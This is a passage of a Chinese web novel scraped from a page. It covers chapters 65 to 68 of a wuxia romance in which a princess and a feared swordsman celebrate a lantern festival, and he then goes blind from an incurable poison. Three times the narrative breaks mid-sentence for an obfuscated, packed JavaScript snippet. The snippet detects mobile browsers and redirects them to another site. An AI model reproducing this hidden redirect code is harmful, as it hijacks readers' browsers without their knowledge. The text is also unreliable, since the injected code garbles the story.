只是很快她就没有心思想这些了,她一边跟着少年往前走,一边反复纠结一个问题,在两人走了有一段路时,她终于按捺不住心底的烦躁,开门见山地问道:“我们……这算是在一起了吗?”她说完才后知后觉地害羞起来,连忙低下头去,没过一会儿又按捺不住,时不时偷偷瞥一眼少年,想知道他会对此作出什么反应。 也许过了很久,也许没过多久,薛矜顿住脚步,垂眸看着她,眸光透着些许揶揄:“我抱都抱过了,你还在纠结这个问题?” 他的话音刚落,陆怀袖的唇角便抑制不住地高高扬起,心里被某种痒痒的隐秘的快乐塞得满满当当的就要溢出来了。她任由着少年牵着自己的手,耳边尽是风声,满目皆是爱人。 65. 心愿 夜幕时分,华灯初上。 陆怀袖和一名扎着高马尾的红衣美少年行走在车水马龙的街道上,时不时看看两人十指紧扣的双手。回想起昨夜回到家中时,水玲珑看着他们露出了意味深长的表情,少女只觉得脸颊处的温度不断攀升,如燎原之火,一直烧到了心头。 今日是城中花灯节,也是他们正式在一起后的第一天,不想当人形烛台的水玲珑把两个人都推出家门,还特意叮嘱他们好好过二人世界,不玩个尽兴不要回来。 将脑子里那些杂七杂八的念头都甩出去,陆怀袖定了定神,视线从两人交握的手上扫过,最后定格在薛矜的脸上。在皎然月色的映衬下,少年原本线条凌厉的侧脸也柔和下来,整个人温和不少,不像个邪道大魔头,倒像个世家小公子。 她定定地看着自己的恋人,一股奇异的愉悦感袭上心头,唇角扬起一抹连她自己都不曾察觉到的浅笑。被对方牵着的感觉固然美好,但更让她感到高兴的,是她此刻终于完全拥有了对方,这种满足感是无与伦比的。 陆怀袖正想着,耳畔突然响起了薛矜略带疑惑的声音:“你在想什么,高兴成这样?” 他猝不及防地出声,陆怀袖浑身一个激灵,条件反射般地抬起头,入眼便见对方歪着脑袋看着她,眉眼里带着好奇。她心下一惊,来不及思考,直接把心里话脱口而出:“在想你。” 随着她的话音落下,整个世界好像都安静了下来。一阵静默之后,少女后知后觉意识到自己说了什么,顿时大窘,恨不得立即找个地缝钻进去。 在心里狠狠地捶打了自己一顿后,她强装镇定地看向身侧少年,只见对方面上依旧是那副波澜不惊的模样,可隐藏在黑发下的耳朵却微微泛红,泄露了主人此刻真实的情绪。 见到对方的反应,陆怀袖眼中的不安瞬间褪去,取而代之的是满满的震惊。往常都是薛矜逗弄她,这还是她第一次见到对方害羞的模样,竟然……这么可爱。 许是她的目光太过露骨,让向来心狠手辣肆意妄为的大魔头也罕见的流露出些许不自在。为了防止她说出什么奇怪的话,少年果断地牵起她的手,拉着她往前走,身体力行地将她接下来的话扼杀在摇篮里。 正如他所想,小公主看着他这害羞的模样,心情格外的好,本想打趣他一番,然而他根本不给自己说话的机会,一路把她拽到了一个小摊子前才停下脚步,接着凝眸看向前方。 陆怀袖无奈地笑了一下,然后顺着他的视线看过去,只见一个投壶摊子赫然出现在眼前,不远处的胡桃木长桌上还陈列着各式各样的战利品玩偶。摊子周围围了许多人,各个都摩拳擦掌,皆是一副跃跃欲试的神情。 少女久居深宫,哪里见过此等热闹的场面,她登时被吸引住,和薛矜一起津津有味地看了起来。以前在宫中也不是没有投壶比赛,只不过参与者都是些达官显贵公卿官宦,难免端着架子下不来,行为举止皆是一板一眼。而此时此刻身处民间,周围都是些乡野草民平头百姓,投中就手舞足蹈投不中就捶胸顿足,那种自由自在无拘无束的氛围深深感染着她。 陆怀袖看着看着,也不由得跃跃欲试起来,身旁的少年似是看穿了她的心思,唇角微弯,露出摄人心魄的温柔微笑:“你要不要亲自试试?” 看着那些漂亮玩偶,说不心动那是假的,小公主故作矜持了一会儿,接着图穷匕见地说道:“嗯……也不是不行。”说完,她抬眸直视少年,强调似的补充了一句:“你别不信!我投壶很厉害的!” 薛矜闻言,一时玩心大起,刻意摆出一副不相信的模样,气得少女脸颊都鼓了起来。卡在对方即将发作之前,他给摊主扔了几枚铜板,之后用眼神示意自己的恋人上场。 陆怀袖没好气地瞪了他一眼,随后不发一言地拿起三支箭矢,眼中的斗志之火熊熊燃烧。 她这次一定要狠狠地打脸对方,让他再也不敢小瞧他。 瞥了一眼不远处抱着手臂好整以暇看着她的少年,陆怀袖攥了攥拳头,满脑子都被这个念头占据着。 深呼吸了几次,她一鼓作气,将手里的箭接二连三投了出去,伴随着一阵“哐哐哐”的声响,三支箭无一例外尽数落入壶中。 一连三支,尽入壶中。在铺天盖地的喝彩声中,少女一路小跑到少年面前,随后双手叉腰看着他,脸上的表情好像在说:“我可没骗你!我就是那么厉害!” 薛矜见状,眼中带上了淡淡的笑意,他从善如流地说道:“是我有眼不识泰山,小觑了姑娘。”眼见少女得意洋洋地向他邀功,他脸上笑意更深,将手放在对方的发顶上,一下一下地抚摸着她柔顺的黑发,带着些许奖励的意味。 两人仿佛自成结界,谁也融不进去,长了眼睛的人都看得出,他们之间有着不同寻常的关系。大家的视线在两人身上来回逡巡,见他们年龄相仿,样貌登对,脸上都流露出真情实意的祝福。 过得片刻,摊主不合时宜地咳嗽了一声,提醒在场的除他们外还有别的活人:“这位小姐既然全部投中,看哪个玩偶顺眼,就直接拿去吧。” 此言一出,陆怀袖眼中倏地一亮,她快步上前,想也没想便拿起那只被摆在正中间的狐狸玩偶,像是在抱着什么珍宝似的将它抱入怀中。 她一直觉得心上人眉眼弯弯的样子像极了狡黠的狐狸,因此爱屋及乌,对这只狐狸玩偶情有独钟。 薛摇光纵有一颗七窍玲珑心,却也领会不到少女九曲十八弯的心思,看着她宝贝似的抱着那只玩偶,只当她喜欢这种小动物,心里开始暗自琢磨要不要抓一只真狐狸送给对方。 他刚一出现这个念头,手腕便被陆怀袖一把拉住,这次轮到对方掌握主动权,带着他不知奔向何方。少年少女穿梭在流光溢彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426659|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灯盏之中,似两尾混入河流的游鱼。 直到跑到河边,对方才放开了他的手。他向前望去,只见无数精巧的花灯载着明明灭灭的烛火漂浮在河中,随着水波浮浮沉沉,宛若点点星光,将这条河也变成一条星河。 薛矜将视线投落到小公主身上,正好对上她满怀期待的目光,他顿时了悟,轻轻点了点头道:“可以。”他知道在这一天,许多百姓会写下愿望放在花灯里,然后将其放入河中,期望天上的神仙会收到花灯,帮忙实现他们的愿望。 他向来不信这些东西,只不过自家恋人想要这样做,也没必要扫了她的兴致,毕竟……他们相处的时日也不多了。 垂眸安静地看着少女,对方那双干净澄澈的眼眸倒映出他的面容,其中蕴含的情意一览无余,毫不掩饰,明明白白地呈现给他,薛矜一时不知道该说什么,他莫名感觉像是泡在蜜糖罐之中,在不知所措的同时,还有种微妙的满足感——她眼中,只有他。 他不是没有追求者,但那些人在见过他的真面目后,无一不打起了退堂鼓,唯有眼前的少女,在知道了他的底细之后,还是一往无前地追随他,就像是天边的明月,始终温柔照耀着黑暗中的人。 也许正因如此,天生无心无情,从来不知感情为何物的少年,也有了珍视万分的人。 陆怀袖一得到自家恋人的回答,便兴冲冲地拉着他跑到不远处的花灯摊子前,付了钱后便问摊主要了纸笔,低头写着什么东西。她一边写一边用手捂住纸,不让身侧的少年看到自己写的什么,全程神神秘秘遮遮掩掩。 见她这副架势,薛矜倒有些好奇起她的心愿来了,不过他也没借着自己过人的目力去做什么,既然对方不愿袒露,那他也不会偷偷去看。 过得片刻,两人同时搁下笔,将纸条卷好塞进莲花灯里,点燃了灯,随后再度来到河畔,弯下腰将花灯轻轻推入河中,看着它们飘浮在河面上,与数百盏花灯混为一体,随着河流渐渐飘向远方。 直到再也看不见光亮,陆怀袖才同少年缓缓站起身来,她踟蹰了好一会儿,终于按捺不住好奇心问道:“你……你许了什么愿望啊?” “呵。” 闻听此言,薛矜蓦地笑出了声,他细长的狐狸眼眯成一条缝,身体前倾,凑到她耳边,刻意压低的声线在她耳畔炸响。只见他薄唇一张一合,却只吐出了两个字来:“你、猜。” 意识到对方没可能告诉她,陆怀袖不乐意地哼哼两声,却又很快将心里那点恼意抛至九霄云外,再一次毫无嫌隙地握住恋人的手,拉着他奔赴下一个地点。 少年少女逐渐远去,载着他们美好祈愿的灯盏却依旧在河中荡漾,两盏花灯紧紧挨在一起,像是分不开似的。 其中一盏灯上写着:“希望薛矜愿望成真。” 另外一盏灯写着:“希望陆怀袖愿望成真。” 66. 失明 从外头回来的时候已经很晚了,薛陆二人酣畅淋漓地玩了个尽兴,回到家中时正好撞上在庭外散步的水玲珑,在对方揶揄的表情下,陆怀袖红着脸同薛矜道别,随后在少年的注视下往自己屋子的方向走去。 紧紧地抱着那只狐狸玩偶,小公主很快就沉入梦乡,这大概是近三个月以来她睡得最好的一觉,睡梦中嘴角都是上扬的。 次日清晨,在晨曦透过木制的窗棂洒在脸上时,陆怀袖缓缓睁开双眸,那双形状姣好的杏眼中还带着朦胧的睡意。待从睡梦中彻底清醒过来,她掀开被子下了床,简单洗漱过后便朝膳厅走去。 等她到达饭厅时,桌上已经摆好了早膳,香甜软糯的清粥,精致小巧的点心,爽口清脆的小菜,皆是些清淡的饮食,却有着让人食指大动的魔力。 备下这一桌可口菜肴的人除了水玲珑还有谁?她早早就坐在膳桌前,见第一个进来的是陆怀袖,她略显诧异地挑了挑眉:“袖袖今日怎么来得比薛公子还早?” 闻言,陆怀袖也有些奇怪地轻轻“咦”了一声,那个家伙向来起得很早,换做以往他早就已经坐在桌前用完了早膳,今天是怎么回事?她心底一瞬闪过无数种念头,最终还是决定亲自去看看。 打定主意后,她搁下筷子,也站起了身:“那个家伙兴许是赖床起不来,我这就去把他叫醒。”不等水玲珑回答,她便转身匆匆离开,不过一眨眼的功夫就消失不见。 偌大的膳厅,瞬间只剩下水玲珑一个人。她后知后觉地回过神来,面上神色一时间变得格外复杂——做事一向干脆利落的薛公子,今日居然破天荒地赖床了,这可真是让人大跌眼镜。 穿过那条走过无数次的小径,陆怀袖几乎是一路小跑着来到了薛矜的寝屋前,她正准备抬手敲门,一股不祥的预感却在这时莫名地涌上心头,让她动作一滞,浑身都微微颤抖起来。 那个家伙先前曾受过重伤,想来身体尚未恢复如初。如今时值入秋,外头凉风嗖嗖的,他陪她逛了一宿,说不定就染上了风寒,导致旧伤复发以及伤情加重。 强自压下心头的不安,陆怀袖不断在心中宽慰自己,就算那人旧伤复发,她也可以用自己的血让他伤势好转。勉强换上一副轻松的表情,她继续刚刚未完成的举动,抬起右手叩了叩门:“薛矜,你起床了没有?水姐姐还在等着我们陪她吃早饭呢……” 回应她的,是一片静默。 陆怀袖心里空荡荡的,有些害怕。就在她准备破门而入的时候,耳畔似乎传来一声很轻很轻的叹息,紧接着那道熟悉的,总能轻易撩动她心弦的声音传入耳中:“……进来吧。” 随着他的话音落下,陆怀袖的眉头却皱得更深了,不知道是不是自己的错觉,她竟从少年的声音里听出几分与他很不相符的脆弱感。 深呼吸几口气之后,她一把推开屋门走了进去,目光下意识地搜寻那道熟悉的身影,却见那人背靠着床头半躺着,低着头不知道在想些什么,那双黑曜石般的眼睛里满是空洞,似乎什么都印不进去。 看到他的那一刻,陆怀袖没有半点停顿,直接迈开脚步便往床边走去。 察觉到床榻边有个人一直盯着他,薛矜也并未做出任何动作,依旧维持着先前的姿势,半倚着床头做出一副沉思的模样。 率先打破静默的是陆怀袖,她身子前倾,将少年从头到脚细细察看了一遍。而奇怪的是,少年配合到没有做出丝毫反抗的举动,全程乖巧得就像个任人摆布的玩偶。 见他全身上下完好无损,少女心下稍安,但还是有些不放心地说道:“薛矜……你的伤是不是还没好……要不要……” 谁知她话还未说完,便被对方径直打断:“我没事。”顿了顿,他将目光转向面前的少女,语气平静地说道:“我不睡了,我这就起来。” 此言一出,陆怀袖登时站起身,自行退到一边,视线却始终定格在薛矜身上,像是要从中找出什么蛛丝马迹来。不知怎的,她总感觉少年有什么地方不太对劲,可哪里不对劲她一时半会又说不上来。 少女落在自己身上的视线存在感太强,让薛矜想忽略都忽略不掉。他头疼地揉了揉太阳穴,无奈地说道:“陆小姐,我想我们之间还没亲密到连换衣服都不避讳吧。” 闻听此言,陆怀袖先是怔了怔,待反应过来后脸倏地就红了。她捂着自己发烫的脸,嗫嚅着低声说道:“我在门外等你。”她说完便走出屋子,顺手将门关上。 屋外凉风阵阵,陆怀袖双颊的温度终于降了下来,她低头看着自己的脚尖,很快想起来先前搁置的问题。 她看到的薛矜似乎有些不对劲,可到底是哪里不对劲呢……少女咬着嘴唇,一副陷入沉思的模样。然而就在她稍微有些眉目的时候,身后忽然传来一阵摔倒声。她脑中一空,根本来不及思考,身体就已经先于脑袋行动了起来。 屋门吱呀一声被推开,显露出摔倒在地狼狈不堪的少年,他衣衫凌乱,发丝披散,再没了从前气定神闲的姿态。 看着眼前这一幕,陆怀袖怔在原地,整个人如遭雷劈,脑中嗡嗡作响。待到意识回笼,她赶忙抢上前去扶起少年。见他难得露出慌张的神色,她心中的猜测更是确定了几分。 为了验证自己的猜测,她伸出手在薛矜眼前晃了晃,见他毫无反应,一副视若无睹的模样,一颗心止不住地往下沉。 对方空洞无神的目光,毫无防备的摔倒,以及前所未有的迟到——种种迹象都指向了一个她不愿意相信,但又不得不相信的答案。 陆怀袖将少年扶到床边坐下,抬起头来自下而上地看着他,眼睛眨也不眨,不放过他脸上任何一个表情。静默片刻,她轻启樱唇,声线带着连她自己都没有察觉到的颤抖:“薛矜,你老实告诉我,你是不是看不见了。”虽表疑问,却是确切的语气。 回应她的只有沉默,长久的沉默,但她心里明白对方已经做出了回答。像是有一盆凉水直接从头顶浇下来,少女只觉得浑身的血液都冷了,昨日还如同置身云端的她今天就被打入无间地狱。所有的力气仿佛都在此刻被抽光,她颓然跌坐到地上,只觉得一根手指都抬不起来。 望着心上人那双连晨光都无法照亮的漆黑的眸子,想着他含笑望着自己时眼中的流光溢彩,陆怀袖只觉心尖泛起密密麻麻的疼,好似有一千根银针在乱扎。 不……我不能就这样什么都不做…… 这个念头陡然在脑海中浮现,陆怀袖浑身一个激灵,待得意识回笼,她用力咬了一下舌尖,将眼中的泪花强行憋了回去。缓缓站起身来,她将双手按在薛矜的肩膀上,直视着那双漆黑的眼眸,语气温柔而坚定:“你放心,我一定会治好你的眼睛。” 她说罢就头也不回地离开了,屋外的凉风从没关上的门里灌进来,吹得少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438099|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年单薄的衣衫猎猎作响。他望着陆怀袖离去的方向怔怔出神,那双眼睛漂亮如初,却再也不复往日的神采。 耳边风声呼啸,陆怀袖用平生最快的速度往外跑去,冰冷的空气吸入肺中,让她胸口隐隐发疼。可她好像感觉不到疼痛似的,依旧不停地往前跑,仿佛一慢下来,就会被邪恶的巨兽吞噬。 此刻她的脑中被一个念头牢牢占据——她要找个大夫,一个能治好薛矜眼睛的大夫。 一推开门,陆怀袖便朝医馆的方向一路狂奔而去,眼看就要出街口,视线骤然一黑,像是撞上了一堵结结实实的墙。她被撞得往后倒去,眼看着就要和大地来个亲密接触,却不想有一只手从旁边扶住了她,让她不至于摔在地上。 “这位姑娘,你怎么走路都不看路啊……” 耳畔响起半真半假的抱怨声,陆怀袖猛地抬起头来,只见一个比她大不了多少的少年赫然出现在眼前,少年身姿挺拔高大,眉眼间英气逼人,本来是极具侵略性的一张脸,却因嘴角噙着的一抹笑意显得平易近人。 少女先是茫然地眨了眨眼睛,紧接着意识到自己犯了错,忙不迭地俯身道歉:“对不起对不起,我有急事要找大夫,根本顾不上看路……” 她话音未落,一道清冷的女声忽然打断了她的话:“找大夫?是谁生病了?” 听到这有些熟悉的声音,陆怀袖先是愣了片刻,反应过来后猛地抬头,映入眼帘的却是一个本不应该出现在这里的人。 白衣胜雪,黑发垂腰,生得可算是仙姿佚貌,只是气质太过冰冷,让人感到难以接近——正是先前带走薛矜,被她误以为是情敌,害她白吃了一顿飞醋的李年年。 此刻她的旁边还多出来一个“不幸”被陆怀袖撞到的黑衣少年,他无视白衣少女身上那股拒人于千里之外的气息,与她并肩而立,两人看起来是认识的样子。 见陆怀袖一直盯着自己看,李年年秀眉微蹙,又重复了一遍先前的问话:“陆小姐,到底是谁病了要请大夫,可否告知一二?”其实方才见到小公主那副失魂落魄六神无主的模样,她心中便有了四五分猜测,只是不愿相信,非要亲口听到对方告诉自己才肯罢休。 在李年年催促的眼神下,陆怀袖脑中灵光一闪,福至心灵一般地想道:这两人皆是薛矜相识,想来都是和他一样有本事的人,说不定有法子治好他的眼睛。 她思及此处,忙将事情的来龙去脉一五一十地告诉二人,她越说到后面,那二人的脸色便越发难看,直到她说完,他们的脸色沉重得就好像是被乌云笼罩似的。 紧抿着唇听她说完,李年年几乎是以恳求的目光望着她,脸上带着显而易见的急切:“我会医术!现在就带我去看他!” 那位黑衣少年正急得团团转,闻言点头附和道:“年年的医术放眼整个江湖也是能排得上号的,没准那家伙的病就让她给治好了。” 闻听此言,陆怀袖眼中点燃了一簇希望的火焰,这可真是踏破铁鞋无觅处,得来全不费工夫啊。她像是看着救命稻草一样看着两人,极力压抑着心底的狂喜,用尽可能平稳的声线开口说道:“跟我来。”说完便推开了大门,眼神示意他们一起走进去。 那对少年男女互望一眼,随后快步跟上,步伐不比陆怀袖从容多少——毕竟对他们来说,那个江湖上人人得而诛之的大魔头,却是比自己生命还要重要的存在。 67. 恶化 李年年自进入薛矜房中后就没再出来,而在这段时间里,陆怀袖一直守在门外,半步都没有离开。此刻的她心情十分焦躁不安,与等候娇妻产子的丈夫颇为相似。 和她一起守在门外的还有那名黑衣少年,两人因为等待的时间太过难捱,索性有一搭没一搭地聊起来,试图分散自己的注意力。 她从那名少年口中得知他的名字叫做陈阡陌,和李年年一样,同薛矜自幼相识,从小一起长大。三人也俱是落月教弟子,尽管薛矜在教中的地位高出他们许多,但他对两人的态度还是和从前一样,与他们的关系也并未疏远。 因为在一次任务途中失手,陈李二人遭到了敌人的围追堵截。为了掩护李年年出逃,陈阡陌努力杀出一条血路,最后力竭被擒。 好不容易逃出生天,李年年一心记挂着他的安危,当即打听起薛矜的下落来。得知对方正身处曲州城,她一路疾驰,没一会儿就找上门来,向这位神通广大的好友求助。 接到求助后,薛矜没有半分耽搁,同李年年连夜赶路,总算在陈阡陌即将被斩首之前及时赶到,最后只身去劫法场将对方救下。待突出重围,他又使出绝顶轻功,将追兵远远甩在身后。 成功救出小弟之后,薛矜心里记着和小公主之间的约定,很快与陈李二人道别,再度折返曲州城,谁知刚一进门便碰上妖道那档子事,还没来得及歇息一二就又赶去救人了。 听陈阡陌提及这段往事,陆怀袖不由得心生感慨,那个家伙明明是个杀人不眨眼的大恶人,却一直在干着救人于水火的事。她自然而然地想起那日挡在她身前牢牢护住她的少年,眉眼瞬时舒展开来,露出了今日以来的第一个笑容。 随着时间一点一点流逝,两人再也维持不住那副云淡风轻的姿态,急得好像热锅上的蚂蚁,不安地在门外来回踱步。 这样的等待格外难熬,在陆怀袖觉得自己即将崩溃的边缘,大门“吱呀”一声被打开,黑发白衣的姑娘从里面走出来,脸色是显而易见的不好。 见她终于走出来,陆怀袖心中登时一喜,可一见到她那张面色凝重的脸,满心的欢喜顿时就被熄灭了一半。她咬了咬下唇,勉强挤出了个笑脸,正要开口,却见李年年冲她轻轻摆了摆手,当即闭口不言,亦步亦趋地跟着对方的脚步。 直到走到中庭,李年年才停下脚步,转身望着一直跟在自己身后默不作声的两人。那双剔透的琉璃眸中藏着翻涌的情绪,让她看起来不再像个没有温度的精致的冰雕。 见她这副模样,陆怀袖心中的不安越来越大,她的目光紧紧盯着李年年淡色的唇瓣,害怕她说出什么自己不想听到的话来。 一时间两人皆无言,如同两尊石像一般,呆呆地站在原地。 最后,陈阡陌实在看不下去了,出声打破沉默:“那家伙病情如何,年年你倒是说啊。” 闻听此言,李年年这才像清醒过来一样,僵硬的身子动了动。她抬眸迎上两人询问的目光,斟酌了一下措辞,最后说道:“他是因为中毒导致双目失明的。” 此言一出,陆怀袖登时面色一僵,如遭雷劈,李年年将她这副失魂落魄的模样收入眼底,心中亦是难受得紧,却还是咬牙说了下去:“那是一种很可怕的毒,叫醉神花毒,中毒者将渐渐失去五感,最后在睡梦中暴毙而亡。” 她每说出一个字,陆怀袖的脸色就白上一分,说到最后,少女的脸上已是毫无血色,整个人看起来就像一个没有生命的瓷娃娃。 陈阡陌亦是难受至极,剑眉紧紧地蹙着,他定定地看着李年年,尽量让自己颤抖的声线变得平稳:“那……那你可有法子救他?” 随着他的话音落下,陆怀袖猛地抬起头来,死死地盯住白衣少女不放,如同一个溺水的人试图抓住一根浮木。 接收到小公主近似于哀求的目光,李年年长长叹出一口气,沉声道:“此毒为天下第一奇毒,凡中毒者,无一幸免。”言下之意就是……她对此毒无能为力。 头顶悬着的那柄剑终于落了下来,陆怀袖像是被人抽去了魂魄一样,僵硬着身子站在原地一动不动。她张了张唇,似乎想说什么,却发现自己的喉咙像是被扼住一般,一点声音也发不出来。 一旁的陈阡陌也好不到哪里去,在李年年话音落下的瞬间,他脸上仅存的血色瞬间消失,抓着剑柄的手用力到骨节发白。 寒风吹面,犹如刀割,三人谁也没有再说话,心情沉重到无以复加。他们知道,在接下来的日子里,自己将亲眼见证一朵花的凋零。 * 从薛矜双目失明到现在,已经过去了大半个月,这段时间里可没人闲着,每个人都忙得脚不沾地,尽管知道醉神花毒无药可解,但他们也不愿什么都不做,就这样眼睁睁看着自己最重要的人死去。 这日风和日丽,景色宜人,陆怀袖却是眼前丽景无心赏。她破天荒地亲自下厨做了两碗面条,然后用托盘端着送到了薛矜的屋中。 再熟悉不过的脚步声传入耳中,热腾腾的香气扑面而来,松松垮垮披着一件外袍的少年眉眼一舒,当即从窗边长榻上起身,轻车熟路地走到檀木桌旁坐下,抬头冲来人一笑:“袖袖来得正是时候,鬼知道我有多饿。” 陆怀袖将两碗面从托盘上端下来,随后将托盘放到一边,在桌边坐下,与薛矜相对而视。看着面前少年耀眼的笑颜,她莫名地鼻子一酸。强行按捺下心头的难过,她装出一副凶巴巴的模样,娇嗔道:“这是我亲自下厨做的面条,你可要一点不剩地全部吃光。” 少女故作凶悍的话语入耳,薛矜没忍住轻笑出声,他望向为自己洗手作羹汤的女子,语调微微上扬,显示出声音主人此刻无比愉悦的心情:“能吃到明月公主亲手为在下烹制的美味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451174|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳肴,是在下的荣幸。” 听到这个久违的称呼,陆怀袖却也并未做出什么反应。自从两人在一起后,她本着打破砂锅问到底的精神,问出了一个她一直想知道的问题:“你是不是早就知道我的真实身份了?”她都不知道自己哪里露馅了。 而薛矜对此只是神秘兮兮地笑了笑,一副就不告诉你的样子,看得少女恨不得咬他一口。 热腾腾的面近在眼前,陆怀袖却没有胃口去享用,只是透过氤氲的雾气注视着对面的少年。此时此刻,他的眼前束着一条红绫,遮盖住那双眼尾上翘的狐狸眼,可即便如此,她依旧能用眼神描摹出它的形状。 她的视线存在感极其强烈,可薛矜像是察觉不到她的目光似的,拿起筷子挑着面条,一口一口吃了起来。他的吃相十分好看,举手投足之间都让人赏心悦目,陆怀袖光是看他吃,好像都能看饱,完完全全理解了秀色可餐这个词的由来。 在喝掉碗中最后一口汤后,他将那个空空如也的碗炫耀似的给少女看,语气格外骄傲地说道:“吃完了!一点都没有剩下!” 看着眼前如同讨要糖果的孩子般对着她撒娇的少年,即使心知肚明对方是伪装的乖巧,可陆怀袖还是不争气地心动了。她欲盖弥彰地为自己倒了一杯茶水,润了润有些发干的喉咙。 强行克制住把对方抱在怀里,像抚摸小猫一样抚摸那头柔顺长发的冲动,她轻咳两声,生硬地转了话题:“你觉得我的手艺如何?” 薛矜闻言,点头赞许道:“殿下天赋异禀,假以时日必能登峰造极。” 虽然这话有一定的水分,但陆怀袖的嘴角还是不受控制地上扬着,露出一个心满意足的笑容来。与此同时,一股强烈的饥饿感席卷而上,她这才想起被自己被搁置多时的那碗面。 将筷子拿在手中,她夹起几根面条送进嘴里,却在品尝到第一口的时候瞬间皱起了眉头。令人难以忍受的咸味在舌尖炸开,少女强忍住想要当场呕出的冲动,仍旧状若无事地吃着那碗面。 她这能把盐和糖弄混了的手艺可着实担当不起薛矜那句夸张的称赞,而对方却能吃得有滋有味,仿佛享用什么珍馐美味一样,只能说明他的味觉已经失灵了。 ——“那是一种很可怕的毒,叫醉神花毒,中毒者将渐渐失去五感,最后在睡梦中暴毙而亡。” 那位李姑娘的话一遍又一遍地在陆怀袖脑中回荡着,让她不知不觉流下眼泪来。泪珠顺着面颊滑落,无声无息地滴落在面碗里,荡出一圈又一圈细小的涟漪。 她也像是味觉失灵一样,吃着那碗越来越咸的面,尽管泪水越来越汹涌,她却要努力控制自己不发出任何声音,以免让对面的少年察觉到她在哭。 然而让她失望的是,对面的少年并非对此一无所知,他似有所感地看着她,半晌过后,唇边逸出一声轻若无闻的叹息。 68. 后事 灶房里雾气氤氲,陆怀袖拿着把蒲扇给药炉扇风,额头上不断地渗出晶莹的汗珠。为薛矜熬药的活原本是李年年承担的,但今日她主动请缨,李年年便把这活让给了她。 而她之所以这么做,原因有二:其一,这段时间李年年一直都呆在书房翻阅各种医书,企图替薛矜解毒,她便想替对方分担一些活,好让她专心治病救人;其二,她要做一件事情,一件需要避开所有人才能做的事情。 待药熬好了,陆怀袖将药炉里的药汁倒入碗中,随后自怀中摸出一把匕首来。看着寒光闪闪的刀刃,她突然迟疑了一下——那个家伙要是知道她再一次为了救他割腕放血,一定不会喝下这碗药,若是如此,她的一番心意岂不是都白费了? 但她并未迟疑太久,不过片刻功夫,便将匕首对准自己的手腕,毫不留情地划出一道口子,殷红的血珠登时顺着白皙的手腕滚落到药碗中。 她不会让那个人知道这件事的,眼下当务之急是替他解毒,至于其他的,都不重要。 做完这一切后,她熟练地给自己处理伤口,确保闻不出来血腥味后才离开灶房,端着盛放药碗的托盘朝那人屋子走去。 不一会儿便抵达了目的地,陆怀袖正要像往常一样推开屋门,却在听到屋子里一男一女的交谈声时,鬼使神差地停下了手上的动作,屏息听着屋内两人的交谈。 此时已近黄昏,屋内光线也有些晦暗,薛李二人相对而坐,桌上摆着两盏清茶,茶香四溢,沁人心脾。 毫无预兆地,薛矜将一向被他视若珍宝的墨刀和银箫拿了出来,一齐放在桌上,在对面少女讶异的目光中,他徐徐开口道:“这两样武器原是教主赠与我的,如今我时日无多,没必要带着它们陪葬,你之后回到教中,便代我物归原主吧。” 他说这话时,语气平静得过了头,完全不像是在谈论自己的生死,然而他的话语却如同冰霜冷箭,刺得李年年心口剧痛,她定定地看着对面的人,那双向来清明的眼眸也忍不住渗出点怒意来:“你就已经开始交代后事了?” 听出她语气里的不悦,薛矜并不意外地挑了挑眉头,他用比之前还要镇定的语气说道:“其实你我都知道,醉神花毒根本无药可医,等待我的只有死路一条。既然必死无疑,不如早点将身后事安排妥当,也好无牵无挂地离去。” 这句话十分刺耳,但李年年不得不承认他说的是事实。她的眼睫不受控制地颤了颤,那种似曾相识的无力感席卷全身,在这一刻她好像又变成了从前那个没什么用的小废物,永远只能仰仗他的帮助,却始终无法为他做点什么。 薛矜即使看不到她的表情,也能猜出她此刻的心思,他安抚似的轻声笑道:“或许是老天爷都看不过眼了,才叫人阴了我这个害人精,这是我坏事做尽的报应,与你何干?你无须为此感到自责。” 他话音落下不久,李年年再度抬眸看向他,毫无预兆地转开了话题:“那位陆姑娘……你打算如何安置她?” 似乎是没想到她会问出这样一个问题,薛矜很明显地怔愣了一下,但他并未怔愣多久,很快便回过神来,坦然地迎上对面少女的视线,极其认真地说道:“她看似柔弱实则坚强,即使离开我的庇护,也能好好活下去。我所能做的,就是将她从牢笼中救出来,从此海阔凭鱼跃,天高任鸟飞。如今的她已是自由之身,我也可以了无遗憾地撒手人寰了。” 李年年默不作声地听完这段话,突然前不着村后不着店地来了一句:“你常年醉心于武道,情爱于你只如过眼云烟,我一直以为孤单一辈子才是你最终的归属。” 回应她的是一声轻笑,薛矜垂下头,唇角勾起一抹他自己都没有察觉的弧度:“我本来也是这么以为的。” 